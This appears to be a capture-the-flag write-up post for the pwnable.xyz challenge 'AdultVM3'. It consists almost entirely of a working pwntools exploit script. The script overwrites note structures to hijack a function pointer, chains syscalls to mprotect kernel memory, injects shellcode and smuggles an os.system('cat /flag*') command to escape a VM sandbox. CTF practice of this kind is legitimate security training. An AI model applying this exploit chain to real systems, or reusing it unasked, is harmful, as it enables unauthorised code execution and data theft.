pwn/pwnable.xyz
[pwnable.xyz] AdultVM3
lok2h4rd
2024. 5. 20. 11:29
from pwn import *
#context.log_level = "debug"
#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)
ru = lambda a : p.recvuntil(a)
snd = lambda a : p.send(a)
snl = lambda a : p.sendline(a)
def show(idx):
ru(b"Exit\n")
snl(b"2")
ru(b": ")
snl(str(idx).encode())
def edit(idx, data):
ru(b"Exit\n")
snl(b"1")
ru(b": ")
snl(str(idx).encode())
ru(b": ")
snd(data)
syscall = 0x0004000338
read = 0x04000400
note = 0x004100380
# 10 = mprotect
for i in range(9):
edit(i, (b"A" * 0x38) + b"\n")
# notes[id].show(notes[id].id, notes[id].note, notes[id].size, notes[id].serial);
pay = b"A" * 8
pay += p64(0)
pay += p64(note)
pay += p64(0x78)
pay += p64(0)
pay += p64(read)
pay += b"\n"
edit(9, pay)
show(0)
# set priv
pay = p64(10)
pay += p64(0xFFFFFFFF81000000)
pay += p64(0x1000)
pay += p64(7)
pay += p64(syscall)
# ====== read
pay += p64(0)
pay += p64(0xFFFFFFFF8100013E)
pay += p64(8 + len(b"os.system(\"cat flag*\")\x00"))
pay += p64(0)
pay += p64(read)
# ====== eval
pay += p64(11)
pay += p64(0xFFFFFFFF8100013E + 8)
pay += p64(0)
pay += p64(len(b"os.system(\"cat flag*\")\x00"))
pay += p64(syscall)
snd(pay)
sleep(0.1)
show(0)
show(1)
"""
seg000:FFFFFFFF81000136 B8 00 00 00 00 mov eax, 0 ; jumptable FFFFFFFF810000B0 case 10
seg000:FFFFFFFF8100013B CD 70 int 70h ; IRQ8 - AT/XT286/PS50+ - REAL-TIME CLOCK
seg000:FFFFFFFF8100013D CF iret
"""
pay = b"\xb8\x07\x00\x00\x00\xcd\x70\xcf"
pay += b"os.system(\"cat /flag*\")\x00"
snd(pay)
ru(b"Exit\n")
snl(b"2")
show(2)
p.interactive()